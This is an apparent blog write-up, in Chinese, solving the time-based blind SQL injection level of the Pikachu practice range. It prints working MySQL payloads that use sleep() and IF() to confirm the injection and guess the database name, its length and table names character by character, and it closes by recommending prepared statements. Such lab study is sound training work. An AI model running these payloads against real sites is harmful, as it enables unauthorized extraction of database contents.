Pikachu靶场通关笔记(26) — SQL Inject (Blind – Time Based)

33次阅读
没有评论

摘要 / 前言:
在 SQL 注入的实战中, 时间盲注(Time-Based Blind SQL Injection) 通常是最后的杀手锏。当我们遇到的场景既没有回显位(无法使用 Union),页面返回内容也永远固定不变(无法使用布尔盲注)时,我们就无法从页面内容获取任何信息。此时,我们通过构造延时函数,让数据库在条件为真时“沉睡”一会儿。通过判断页面响应时间的快慢,来推测数据库中的数据。


一、漏洞分析

1. 现象观察

  • 输入 kobe -> 页面显示 “i don’t care who you are!”
  • 输入 123 -> 页面显示 “i don’t care who you are!”
  • 输入 kobe' and 1=1# -> 页面显示 “i don’t care who you are!”
  • 判断: 无论输入正确与否,页面回显始终一致。这说明后端逻辑屏蔽了具体的查询结果和错误信息,布尔盲注和报错注入均不可用。

2. 构造延时测试

利用 MySQL 的 sleep() 函数测试是否存在注入。

  • Payload:
    sql kobe' and sleep(5)#
  • 结果: 点击查询后,浏览器加载状态持续了约 5 秒钟才显示结果。
  • 结论: 数据库执行了我们的延时指令,说明注入点存在,且可以使用时间盲注。

二、核心原理与利用

核心逻辑: IF(Condition, True_Action, False_Action)
我们结合 sleep() 函数构造如下逻辑:

核心函数 IF(expr1, expr2, expr3)

这是 MySQL 的三元运算符:

  • 如果 expr1 为真,则执行 expr2。
  • 如果 expr1 为假,则执行 expr3。

时间盲注通用公式:
IF(判断条件, sleep(5), 0)
意思是:如果我猜对了,你就睡 5 秒(让我感觉到卡顿);如果猜错了,你就立即返回(0 秒)。

1. 验证注入点

确保逻辑判断生效。

  • Payload:
    sql kobe' and if(1=1, sleep(5), 0)#
  • 现象: 页面延迟 5 秒加载。证明 1=1 被解析为真,触发了 sleep(5)
Pikachu 靶场通关笔记 (26) — SQL Inject (Blind - Time Based)

2. 猜解数据库名长度

  • Payload:
    sql kobe' and if(length(database())=7, sleep(3), 0)#
  • 现象: 页面延迟 3 秒。
  • 结论: 数据库名长度为 7
Pikachu 靶场通关笔记 (26) — SQL Inject (Blind - Time Based)

3. 猜解数据库名 (逐字符爆破)

  • 猜第 1 个字符:kobe'and if(substr(database(),1,1)='p', sleep(5), 0)#
    • 现象: 延迟 5 秒 -> 说明第 1 位是 p
    • 若无延迟: 尝试 ='a', ='b' 等其他字符。
  • 猜第 2 个字符:
    sql kobe'and if(substr(database(),2,1)='i', sleep(5), 0)#
  • ………

4. 后续数据获取

后续的爆表名、爆列名与布尔盲注完全一致,只需将内部的判断逻辑放入 if 条件中即可。

  • 例如爆表名:
    sql kobe'and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='m', sleep(5), 0)#

三、总结与注意事项

时间盲注的特点:

  1. 极度耗时: 每个字符都要尝试多次,且每次成功都要等待延时时间。实战中几乎必须依赖工具(如 SQLMap)或编写脚本。
  2. 网络干扰: 如果网络本身不稳定(波动超过延时时间),会导致大量的误判。实战中通常会设置较长的延时(如 3 - 5 秒)来抗干扰。
  3. 万能性: 只要存在 SQL 注入漏洞,理论上都可以使用时间盲注(除非数据库禁用了延时函数),它是注入检测的保底手段。
  4. Benchmark 函数: 除了 sleep(),还可以使用 benchmark(count, expr) 函数制造延时(通过执行大量计算)。

防御措施:
依然是那句老话: 预编译(Prepared Statements)。无论什么类型的注入(回显、报错、盲注),只要使用了预编译,参数就不会被当做 SQL 代码执行,注入即失效。

正文完
 0
评论(没有评论)